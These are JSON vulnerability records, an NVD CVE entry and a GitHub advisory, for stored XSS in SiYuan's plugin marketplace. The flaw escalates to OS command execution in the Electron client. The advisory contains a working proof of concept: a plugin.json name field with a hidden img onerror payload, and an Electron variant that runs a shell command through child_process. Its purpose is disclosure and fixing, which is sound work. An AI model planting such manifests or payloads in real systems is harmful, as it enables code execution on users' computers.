{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, SiYuan\u0027s Bazaar (community marketplace) renders the name and version fields of a package\u0027s plugin.json (and the equivalent theme.json / template.json / widget.json / icon.json) into the Settings \u2192 Marketplace UI without HTML escaping. The kernel-side helper sanitizePackageDisplayStrings in kernel/bazaar/package.go HTML-escapes only Author, DisplayName, and Description \u2014 Name and Version flow through to the renderer raw. The frontend at app/src/config/bazaar.ts substitutes them into HTML template strings via ${item.preferredName} / ${data.name} / v${data.version} and assigns the result to innerHTML. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab. This vulnerability is fixed in 3.7.0."
    }
  ],
  "id": "CVE-2026-45375",
  "lastModified": "2026-05-16T01:16:17.333",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-14T19:16:39.030",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-27qc-m5gf-jv5r"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-27qc-m5gf-jv5r"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        },
        {
          "lang": "en",
          "value": "CWE-116"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260421031503-96dfe0bea474"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45375"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T15:33:57Z",
    "nvd_published_at": "2026-05-14T19:16:39Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nSiYuan\u0027s Bazaar (community marketplace) renders the `name` and `version` fields of a package\u0027s `plugin.json` (and the equivalent `theme.json` / `template.json` / `widget.json` / `icon.json`) into the Settings \u2192 Marketplace UI without HTML escaping. The kernel-side helper `sanitizePackageDisplayStrings` in `kernel/bazaar/package.go` HTML-escapes only `Author`, `DisplayName`, and `Description` \u2014 `Name` and `Version` flow through to the renderer raw. The frontend at `app/src/config/bazaar.ts` substitutes them into HTML template strings via `${item.preferredName}` / `${data.name}` / `v${data.version}` and assigns the result to `innerHTML`. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab.\n\nBecause the desktop client is built on Electron with `nodeIntegration: true`, `contextIsolation: false`, and `webSecurity: false` (`app/electron/main.js:407-411`), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim\u0027s account. The trigger is **zero-click on the list view** \u2014 opening Settings \u2192 Marketplace \u2192 Downloaded \u2192 Plugins is sufficient; no Install/Update click is required.\n\nA second `preferredName` path exists: when `displayName: {}` (empty locale map), `GetPreferredLocaleString` falls back to the unescaped `pkg.Name`, so even a normal-looking visible plugin name carries the payload through the same sink.\n\n### Details\n\n**Server-side allowlist \u2014 `kernel/bazaar/package.go:134-145`:**\n```go\nfunc sanitizePackageDisplayStrings(pkg *Package) {\n    if pkg == nil { return }\n    pkg.Author = html.EscapeString(pkg.Author)\n    for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }\n    for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }\n    // pkg.Name and pkg.Version are NOT escaped\n}\n```\n\n**`PreferredName` fallback \u2014 `kernel/bazaar/installed.go:59` and `kernel/bazaar/package.go:148-162`:**\n```go\n// installed.go:59\npkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name)\n\n// package.go:148-162\nfunc GetPreferredLocaleString(m LocaleStrings, fallback string) string {\n    if len(m) == 0 { return fallback }   // \u2190 unescaped pkg.Name reaches the renderer\n    if v := strings.TrimSpace(m[util.Lang]); v != \"\" { return v }\n    if v := strings.TrimSpace(m[\"default\"]);  v != \"\" { return v }\n    if v := strings.TrimSpace(m[\"en_US\"]);    v != \"\" { return v }\n    return fallback\n}\n```\n\n**Online marketplace path skips the kernel sanitizer \u2014 `kernel/bazaar/package.go:127` + `kernel/bazaar/bazaar.go:48`:**\n```go\n// package.go:127  (only the local install path calls sanitizePackageDisplayStrings)\nsanitizePackageDisplayStrings(ret)\n```\n`buildBazaarPackageWithMetadata` (`bazaar.go:48`), used to build the online marketplace listing, does **not** call the kernel\u0027s `sanitizePackageDisplayStrings`. Sanitization for the online stage is delegated to the `siyuan-note/bazaar` GitHub-Action workflow.\n\n**The upstream workflow has the same gap \u2014 `siyuan-note/bazaar/actions/stage/main.go:897-909`:**\n```go\n// sanitizePackageDisplayStrings \u5bf9\u96c6\u5e02\u5305\u76f4\u63a5\u663e\u793a\u7684\u4fe1\u606f\u505a HTML \u8f6c\u4e49\uff0c\u907f\u514d XSS\u3002\n// \uff08\u8ddf\u601d\u6e90\u5185\u6838 kernel/bazaar/package.go \u4fdd\u6301\u4e00\u81f4\uff09\nfunc sanitizePackageDisplayStrings(pkg *Package) {\n    if pkg == nil { return }\n    pkg.Author = html.EscapeString(pkg.Author)\n    for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }\n    for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }\n}\n```\nThe function is byte-identical to the kernel helper \u2014 the Chinese comment translates to *\"(kept in sync with the SiYuan kernel kernel/bazaar/package.go)\"*. It is invoked at `main.go:707, 715, 723` once per package type during staging. `Name`, `Version`, and `Keywords` are unescaped at **both** layers: the kernel for local installs, the workflow for online listings. A malicious `plugin.json` submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing.\n\n**Frontend sinks \u2014 `app/src/config/bazaar.ts`:**\n```ts\n// :430 \u2014 installed-plugin card list (zero-click)\n${item.preferredName}\n\n// :526 \u2014 package detail view\n\u003ca href=\"${data.repoURL}\" ... title=\"GitHub Repo\"\u003e${data.name}\u003c/a\u003e\n\n// :540 \u2014 package detail view, version stripe\n\u003cdiv ... style=\"line-height: 20px;\"\u003e${window.siyuan.languages.currentVer}\u003cbr\u003ev${data.version}\u003c/div\u003e\n```\nThe constructed template strings are subsequently assigned to `bazaar.element.innerHTML` / `readmeElement.innerHTML` / `mdElement.innerHTML` (lines 358, 472, 512, 600).\n\n**Renderer privilege boundary \u2014 `app/electron/main.js:407-411`:**\n```js\nwebPreferences: {\n    nodeIntegration: true,\n    webviewTag: true,\n    webSecurity: false,\n    contextIsolation: false,\n}\n```\nJavaScript executing in the marketplace tab can call `require(\u0027child_process\u0027).exec(...)` directly, escalating DOM XSS to OS command execution.\n\n### PoC\n\nEnd-to-end verified against the official `b3log/siyuan:v3.6.5` Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron `child_process.exec` payload.\n\n**1. Run a stock SiYuan v3.6.5 kernel:**\n```sh\nmkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin\ndocker run -d --name siyuan-poc -p 16806:6806 \\\n  -v /tmp/siyuan-poc-ws:/siyuan/workspace \\\n  -e SIYUAN_ACCESS_AUTH_CODE=test123 \\\n  b3log/siyuan:v3.6.5 \\\n  --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**2. Plant a malicious plugin manifest at `/tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json`:**\n```json\n{\n  \"name\": \"Markdown Utilities\u003cimg src=x onerror=\\\"alert(`SiYuan Bazaar XSS`)\\\" style=\\\"display:none\\\"\u003e\",\n  \"displayName\": {},\n  \"description\": {\"default\": \"A small toolkit of markdown helpers - table sort, link checker, wordcount, etc.\"},\n  \"author\": \"markdown-utils\",\n  \"version\": \"1.4.2\",\n  \"url\": \"https://github.com/markdown-utils/markdown-utilities\",\n  \"backends\": [\"all\"],\n  \"frontends\": [\"all\"]\n}\n```\nThe visible portion of the `name` field is the literal string `Markdown Utilities`. The `\u003cimg\u003e` tag is rendered with `display:none`, so the marketplace card looks like a legitimate plugin entry \u2014 no broken-image icon, no suspicious text.\n\n**3. Verify the kernel returns the unescaped payload:**\n\nAuthenticate via `http://127.0.0.1:16806/` (auth code `test123`), then call the API as the logged-in user:\n```sh\ncurl -s -b \u0027siyuan=\u003csession-cookie\u003e\u0027 \\\n  -X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"frontend\":\"desktop\",\"keyword\":\"\"}\u0027\n```\nObserved (verbatim):\n```json\n{\n  \"preferredName\": \"Markdown Utilities\u003cimg src=x onerror=\\\"alert(`SiYuan Bazaar XSS`)\\\" style=\\\"display:none\\\"\u003e\",\n  \"name\":          \"Markdown Utilities\u003cimg src=x onerror=\\\"alert(`SiYuan Bazaar XSS`)\\\" style=\\\"display:none\\\"\u003e\",\n  \"version\":       \"1.4.2\"\n}\n```\nThe HTML payload arrives at the client unmodified.\n\n**4. Trigger via the UI:**\n\nIn a browser logged into the running SiYuan instance, open Settings \u2192 Marketplace \u2192 Downloaded \u2192 Plugins. The marketplace card list renders, `bazaar.ts:430` substitutes `${item.preferredName}` into the card HTML, the result is assigned to `bazaar.element.innerHTML`, the browser parses the `\u003cimg\u003e` element, fails to load `src=x`, fires `onerror`, and **`alert(\"SiYuan Bazaar XSS\")` pops**. The card itself displays as a normal-looking \"Markdown Utilities\" entry; the malicious markup is invisible.\n\n**5. Electron RCE substitution:**\n\nThe same payload, modified for the Electron desktop client, replaces the alert with a Node-API call:\n```json\n\"name\": \"Markdown Utilities\u003cimg src=x onerror=\\\"require(`child_process`).exec(`open -a Calculator`)\\\" style=\\\"display:none\\\"\u003e\"\n```\nOn any Electron-packaged SiYuan v3.6.5 (e.g. `siyuan-3.6.5-mac-arm64.dmg`), opening Settings \u2192 Marketplace \u2192 Downloaded \u2192 Plugins launches Calculator. The same primitive can run any shell command available to the desktop user.\n\n### Impact\n\n- **Stored XSS \u2192 arbitrary OS command execution** in the desktop Electron client under the victim\u0027s user account, with full filesystem and network access via Node.js APIs.\n- **Triggers on view, not on install.** Opening Settings \u2192 Marketplace \u2192 Downloaded \u2192 Plugins is sufficient; the payload runs before any \"Install\" or \"Update\" button is clicked.\n- **Visually undetectable.** The `display:none` style hides the malicious markup, so the marketplace card appears entirely legitimate.\n- **Survives transport.** The payload is a plain JSON string; it round-trips through tarball packaging, sync replication, `.sy.zip` export/import, and any other workspace-content transport without modification.\n- **Low attacker prerequisites.** Any path that gets a manifest into the workspace plugin directory triggers the bug. The Bazaar marketplace itself \u2014 both the install flow and the post-listing release-then-poison flow \u2014 is the canonical low-friction delivery channel.\n\n### Suggested fix\n\nPrimary: extend the kernel allowlist in `kernel/bazaar/package.go:134-145`:\n```diff\n func sanitizePackageDisplayStrings(pkg *Package) {\n     if pkg == nil { return }\n     pkg.Author = html.EscapeString(pkg.Author)\n+    pkg.Name    = html.EscapeString(pkg.Name)\n+    pkg.Version = html.EscapeString(pkg.Version)\n     for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }\n     for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }\n+    for i, kw := range pkg.Keywords    { pkg.Keywords[i]   = html.EscapeString(kw) }\n }\n```\n\nSecondary: also call `sanitizePackageDisplayStrings` from `kernel/bazaar/bazaar.go:48` (`buildBazaarPackageWithMetadata`) so that the kernel applies the same protection regardless of whether metadata originates from a local install or the online stage. The same two-line addition is needed in the upstream workflow at `siyuan-note/bazaar/actions/stage/main.go:897-909` (already explicitly committed to \"kept in sync with the SiYuan kernel kernel/bazaar/package.go\").\n\nTertiary (defense in depth): wrap the frontend sinks in `app/src/config/bazaar.ts` (`${item.preferredName}`, `${data.name}`, `${data.version}`) with the existing `escapeHtml(...)` helper.\n\nRenderer hardening: switching the main BrowserWindow at `app/electron/main.js:407-411` to `contextIsolation: true` with a preload bridge would bound any future XSS in the renderer to DOM impact instead of OS command execution.",
  "id": "GHSA-27qc-m5gf-jv5r",
  "modified": "2026-05-15T23:45:25Z",
  "published": "2026-05-13T15:33:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-27qc-m5gf-jv5r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45375"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan Bazaar marketplace renders unescaped package `name` and `version` metadata, allowing stored XSS and Electron code execution"
}